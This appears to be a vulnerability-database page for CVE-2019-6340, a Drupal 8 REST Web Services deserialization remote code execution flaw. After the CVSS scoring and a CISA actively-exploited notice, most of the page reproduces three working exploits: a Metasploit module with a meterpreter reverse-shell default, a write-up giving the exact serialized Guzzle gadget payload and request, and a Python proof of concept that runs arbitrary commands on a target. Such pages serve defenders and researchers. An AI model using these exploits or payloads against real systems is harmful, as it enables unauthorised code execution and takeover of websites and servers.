Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-502 |
Deserialization of Untrusted Data
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
8.1 |
HIGH |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
| V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
nvd@nist.gov |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Drupal Core Remote Code Execution Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Unknown
Added : 2022-03-24 23h00 +00:00
Action is due : 2022-04-14 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 46510
Publication date : 2019-03-06 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
# NOTE: All (four) Web Services modules need to be enabled
Rank = NormalRanking
include Msf::Exploit::Remote::HTTP::Drupal
def initialize(info = {})
super(update_info(info,
'Name' => 'Drupal RESTful Web Services unserialize() RCE',
'Description' => %q{
This module exploits a PHP unserialize() vulnerability in Drupal RESTful
Web Services by sending a crafted request to the /node REST endpoint.
As per SA-CORE-2019-003, the initial remediation was to disable POST,
PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
(albeit cached). Cached nodes can be exploited only once.
Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
this alternate vector.
Drupal < 8.5.11 and < 8.6.10 are vulnerable.
},
'Author' => [
'Jasper Mattsson', # Discovery
'Charles Fol', # PoC
'Rotem Reiss', # Module
'wvu' # Module
],
'References' => [
['CVE', '2019-6340'],
['URL', 'https://www.drupal.org/sa-core-2019-003'],
['URL', 'https://www.drupal.org/psa-2019-02-22'],
['URL', 'https://www.ambionics.io/blog/drupal8-rce'],
['URL', 'https://github.com/ambionics/phpggc'],
['URL', 'https://twitter.com/jcran/status/1099206271901798400']
],
'DisclosureDate' => '2019-02-20',
'License' => MSF_LICENSE,
'Platform' => ['php', 'unix'],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Privileged' => false,
'Targets' => [
['PHP In-Memory',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_memory,
'Payload' => {'BadChars' => "'"},
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
],
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/generic',
'CMD' => 'id'
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliablity' => [UNRELIABLE_SESSION], # When using the GET method
'AKA' => ['SA-CORE-2019-003']
}
))
register_options([
OptEnum.new('METHOD', [true, 'HTTP method to use', 'POST',
['GET', 'POST', 'PATCH', 'PUT']]),
OptInt.new('NODE', [false, 'Node ID to target with GET method', 1])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end
def check
checkcode = CheckCode::Unknown
version = drupal_version
unless version
vprint_error('Could not determine Drupal version')
return checkcode
end
if version.to_s !~ /^8\b/
vprint_error("Drupal #{version} is not supported")
return CheckCode::Safe
end
vprint_status("Drupal #{version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
changelog = drupal_changelog(version)
unless changelog
vprint_error('Could not determine Drupal patch level')
return checkcode
end
case drupal_patch(changelog, 'SA-CORE-2019-003')
when nil
vprint_warning('CHANGELOG.txt no longer contains patch level')
when true
vprint_warning('Drupal appears patched in CHANGELOG.txt')
checkcode = CheckCode::Safe
when false
vprint_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
end
# Any further with GET and we risk caching the targeted node
return checkcode if meth == 'GET'
# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable
token = Rex::Text.rand_text_alphanumeric(8..42)
res = execute_command("echo #{token}")
return checkcode unless res
if res.body.include?(token)
vprint_good('Drupal is vulnerable to code execution')
checkcode = CheckCode::Vulnerable
end
checkcode
end
def exploit
if [CheckCode::Safe, CheckCode::Unknown].include?(check)
if datastore['ForceExploit']
print_warning('ForceExploit set! Exploiting anyway!')
else
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
end
if datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')
# XXX: Naughty datastore modification
datastore['DUMP_OUTPUT'] = true
end
case target['Type']
when :php_memory
# XXX: This will spawn a *very* obvious process
execute_command("php -r '#{payload.encoded}'")
when :unix_memory
execute_command(payload.encoded)
end
end
def execute_command(cmd, opts = {})
vprint_status("Executing with system(): #{cmd}")
# https://en.wikipedia.org/wiki/Hypertext_Application_Language
hal_json = JSON.pretty_generate(
'link' => [
'value' => 'link',
'options' => phpggc_payload(cmd)
],
'_links' => {
'type' => {
'href' => vhost_uri
}
}
)
print_status("Sending #{meth} to #{node_uri} with link #{vhost_uri}")
res = send_request_cgi({
'method' => meth,
'uri' => node_uri,
'ctype' => 'application/hal+json',
'vars_get' => {'_format' => 'hal_json'},
'data' => hal_json
}, 3.5)
return unless res
case res.code
# 401 isn't actually a failure when using the POST method
when 200, 401
print_line(res.body) if datastore['DUMP_OUTPUT']
if meth == 'GET'
print_warning('If you did not get code execution, try a new node ID')
end
when 404
print_error("#{node_uri} not found")
when 405
print_error("#{meth} method not allowed")
when 422
print_error('VHOST may need to be set')
when 406
print_error('Web Services may not be enabled')
else
print_error("Unexpected reply: #{res.inspect}")
end
res
end
# phpggc Guzzle/RCE1 system id
def phpggc_payload(cmd)
(
# http://www.phpinternalsbook.com/classes_objects/serialization.html
<<~EOF
O:24:"GuzzleHttp\\Psr7\\FnStream":2:{
s:33:"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods";a:1:{
s:5:"close";a:2:{
i:0;O:23:"GuzzleHttp\\HandlerStack":3:{
s:32:"\u0000GuzzleHttp\\HandlerStack\u0000handler";
s:cmd_len:"cmd";
s:30:"\u0000GuzzleHttp\\HandlerStack\u0000stack";
a:1:{i:0;a:1:{i:0;s:6:"system";}}
s:31:"\u0000GuzzleHttp\\HandlerStack\u0000cached";
b:0;
}
i:1;s:7:"resolve";
}
}
s:9:"_fn_close";a:2:{
i:0;r:4;
i:1;s:7:"resolve";
}
}
EOF
).gsub(/\s+/, '').gsub('cmd_len', cmd.length.to_s).gsub('cmd', cmd)
end
def meth
datastore['METHOD'] || 'POST'
end
def node
datastore['NODE'] || 1
end
def node_uri
if meth == 'GET'
normalize_uri(target_uri.path, '/node', node)
else
normalize_uri(target_uri.path, '/node')
end
end
def vhost_uri
full_uri(
normalize_uri(target_uri.path, '/rest/type/shortcut/default'),
vhost_uri: true
)
end
end
Exploit Database EDB-ID : 46452
Publication date : 2019-02-22 23h00 +00:00
Author : Charles Fol
EDB Verified : No
Analyzing the patch
By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);.
As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link.
Triggering the unserialize()
Having all these elements in mind, triggering an unserialize is fairly easy:
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642
{
"link": [
{
"value": "link",
"options": "<SERIALIZED_CONTENT>"
}
],
"_links": {
"type": {
"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
}
}
}
Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC:
$ ./phpggc guzzle/rce1 system id --json
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
We can now send the payload via GET:
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642
{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
}
}
}
To which Drupal responds:
HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012
{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID.
Exploit Database EDB-ID : 46459
Publication date : 2019-02-24 23h00 +00:00
Author : leonjza
EDB Verified : No
#!/usr/bin/env python3
# CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
# 2019 @leonjza
# Technical details for this exploit is available at:
# https://www.drupal.org/sa-core-2019-003
# https://www.ambionics.io/blog/drupal8-rce
# https://twitter.com/jcran/status/1099206271901798400
# Sample usage:
#
# $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
# CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
# by @leonjza
#
# References:
# https://www.drupal.org/sa-core-2019-003
# https://www.ambionics.io/blog/drupal8-rce
#
# [warning] Caching heavily affects reliability of this exploit.
# Nodes are used as they are discovered, but once they are done,
# you will have to wait for cache expiry.
#
# Targeting http://127.0.0.1/...
# [+] Finding a usable node id...
# [x] Node enum found a cached article at: 2, skipping
# [x] Node enum found a cached article at: 3, skipping
# [+] Using node_id 4
# [+] Target appears to be vulnerable!
#
# USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
# root 49 0.0 0.0 4288 716 pts/0 Ss+ 16:38 0:00 sh
# root 1 0.0 1.4 390040 30540 ? Ss 15:20 0:00 apache2 -DFOREGROUND
# www-data 24 0.1 2.8 395652 57912 ? S 15:20 0:08 apache2 -DFOREGROUND
# www-data 27 0.1 2.9 396152 61108 ? S 15:20 0:08 apache2 -DFOREGROUND
# www-data 31 0.0 3.4 406304 70408 ? S 15:22 0:04 apache2 -DFOREGROUND
# www-data 39 0.0 2.7 398472 56852 ? S 16:14 0:02 apache2 -DFOREGROUND
# www-data 44 0.2 3.2 402208 66080 ? S 16:37 0:05 apache2 -DFOREGROUND
# www-data 56 0.0 2.6 397988 55060 ? S 16:38 0:01 apache2 -DFOREGROUND
# www-data 65 0.0 2.3 394252 48460 ? S 16:40 0:01 apache2 -DFOREGROUND
# www-data 78 0.0 2.5 400996 51320 ? S 16:47 0:01 apache2 -DFOREGROUND
# www-data 117 0.0 0.0 4288 712 ? S 17:20 0:00 \_ sh -c echo
import sys
from urllib.parse import urlparse, urljoin
import requests
def build_url(*args) -> str:
"""
Builds a URL
"""
f = ''
for x in args:
f = urljoin(f, x)
return f
def uri_valid(x: str) -> bool:
"""
https://stackoverflow.com/a/38020041
"""
result = urlparse(x)
return all([result.scheme, result.netloc, result.path])
def check_drupal_cache(r: requests.Response) -> bool:
"""
Check if a response had the cache header.
"""
if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
return True
return False
def find_article(base: str, f: int = 1, l: int = 100):
"""
Find a target article that does not 404 and is not cached
"""
while f < l:
u = build_url(base, '/node/', str(f))
r = requests.get(u)
if check_drupal_cache(r):
print(f'[x] Node enum found a cached article at: {f}, skipping')
f += 1
continue
# found an article?
if r.status_code == 200:
return f
f += 1
def check(base: str, node_id: int) -> bool:
"""
Check if the target is vulnerable.
"""
payload = {
"_links": {
"type": {
"href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
}
},
"type": {
"target_id": "article"
},
"title": {
"value": "My Article"
},
"body": {
"value": ""
}
}
u = build_url(base, '/node/', str(node_id))
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
if check_drupal_cache(r):
print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
return False
if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
return True
return False
def exploit(base: str, node_id: int, cmd: str):
"""
Exploit using the Guzzle Gadgets
"""
# pad a easy search replace output:
cmd = 'echo ---- & ' + cmd
payload = {
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
"GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
"{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
"s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
"stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
"GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
"".replace('|size|', str(len(cmd))).replace('|command|', cmd)
}
],
"_links": {
"type": {
"href": f"{urljoin(base, '/rest/type/shortcut/default')}"
}
}
}
u = build_url(base, '/node/', str(node_id))
r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
if check_drupal_cache(r):
print(f'Exploiting {node_id} returned cache HIT, may have failed')
if '----' not in r.text:
print('[warn] Command execution _may_ have failed')
print(r.text.split('----')[1])
def main(base: str, cmd: str):
"""
Execute an OS command!
"""
print('[+] Finding a usable node id...')
article = find_article(base)
if not article:
print('[!] Unable to find a node ID to reference. Check manually?')
return
print(f'[+] Using node_id {article}')
vuln = check(base, article)
if not vuln:
print('[!] Target does not appear to be vulnerable.')
print('[!] It may also simply be a caching issue, so maybe just try again later.')
return
print(f'[+] Target appears to be vulnerable!')
exploit(base, article, cmd)
if __name__ == '__main__':
print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
print(' by @leonjza\n')
print('References:\n'
' https://www.drupal.org/sa-core-2019-003\n'
' https://www.ambionics.io/blog/drupal8-rce\n')
print('[warning] Caching heavily affects reliability of this exploit.\n'
'Nodes are used as they are discovered, but once they are done,\n'
'you will have to wait for cache expiry.\n')
if len(sys.argv) <= 2:
print(f'Usage: {sys.argv[0]} <target base URL> <command>')
print(f' Example: {sys.argv[0]} http://127.0.0.1/ id')
target = sys.argv[1]
command = sys.argv[2]
if not uri_valid(target):
print(f'Target {target} is not a valid URL')
sys.exit(1)
print(f'Targeting {target}...')
main(target, command)
Products Mentioned
Configuraton 0
Drupal>>Drupal >> Version From (including) 8.5.0 To (excluding) 8.5.11
Drupal>>Drupal >> Version From (including) 8.6.0 To (excluding) 8.6.10
References
